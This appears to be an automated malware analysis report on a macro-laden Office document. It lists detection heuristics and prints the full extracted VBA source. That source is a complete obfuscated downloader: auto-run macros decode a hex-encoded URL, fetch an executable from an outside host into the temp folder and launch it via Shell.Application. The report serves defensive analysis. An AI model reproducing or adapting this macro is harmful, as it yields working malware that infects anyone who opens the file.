MALICIOUS
384
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
The sample contains VBA macros that are triggered by AutoOpen and Workbook_Open events. These macros utilize the URLDownloadToFile API, indicating an intent to download and execute a second-stage payload from a remote source. The obfuscated nature of the VBA code and the use of auto-execution macros are common characteristics of malware downloaders.
Heuristics 11
-
ClamAV: Doc.Downloader.Macr-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Macr-2
-
Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOADReference to URLDownloadToFile API
-
VBA macros detected medium 7 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _ -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Set iergerv = CreateObject(HexToString("5368656C6C2E4170706C69636174696F6E")) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set iergerv = CreateObject(HexToString("5368656C6C2E4170706C69636174696F6E")) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
irtwef = Environ(HexToString("54454D50")) & HexToString("5C424742756967627567554947372E657865") -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2668 bytes |
SHA-256: 6568cc33f169a74797ada3aba3406c00c2ffbd756902e1bf5bad595e6496a616 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
Private Declare PtrSafe Function DeleteUrlCacheEntry Lib "wininet" Alias _
"DeleteUrlCacheEntryA" (ByVal lpszUrlName As String) As Long
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As LongPtr, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As LongPtr) As LongPtr
#Else
Private Declare Function DeleteUrlCacheEntry Lib "wininet" Alias _
"DeleteUrlCacheEntryA" (ByVal lpszUrlName As String) As Long
Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long
#End If
Public Function HexToString(ByVal hextext As String) As String
For y = 1 To Len(hextext)
num = Mid(hextext, y, 2)
Value = Value & Chr(Val("&h" & num))
y = y + 1
Next y
HexToString = Value
End Function
Sub Gjvksdfsdf()
Dim lZQxseyO As Integer
lZQxseyO = 1
Do While lZQxseyO < 38
DoEvents: lZQxseyO = lZQxseyO + 1
Loop
UGivgHgfdg
End Sub
Sub AutoOpen()
Dim uLSlxfLf As Integer
uLSlxfLf = 8
Do While uLSlxfLf < 74
DoEvents: uLSlxfLf = uLSlxfLf + 1
Loop
Gjvksdfsdf
End Sub
Sub Workbook_Open()
Dim pTXYsseR As Integer
pTXYsseR = 6
Do While pTXYsseR < 85
DoEvents: pTXYsseR = pTXYsseR + 1
Loop
Gjvksdfsdf
End Sub
Sub UGivgHgfdg()
Dim kRbmYNKP As Integer
kRbmYNKP = 8
Do While kRbmYNKP < 67
DoEvents: kRbmYNKP = kRbmYNKP + 1
Loop
fdgdfg = HexToString("687474703A2F2F6E7562736A61636B626F782E6F626F726F64756B692E636F6D2F6A732F62696E2E657865")
Dim AEtCJJVU As Integer
AEtCJJVU = 3
Do While AEtCJJVU < 48
DoEvents: AEtCJJVU = AEtCJJVU + 1
Loop
irtwef = Environ(HexToString("54454D50")) & HexToString("5C424742756967627567554947372E657865")
Dim VCMGYmnj As Integer
VCMGYmnj = 7
Do While VCMGYmnj < 31
DoEvents: VCMGYmnj = VCMGYmnj + 1
Loop
dsfFfdg = URLDownloadToFile(0&, fdgdfg, irtwef, 0&, 0&)
Dim mjIUwCeN As Integer
mjIUwCeN = 1
Do While mjIUwCeN < 13
DoEvents: mjIUwCeN = mjIUwCeN + 1
Loop
Set iergerv = CreateObject(HexToString("5368656C6C2E4170706C69636174696F6E"))
iergerv.Open irtwef
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.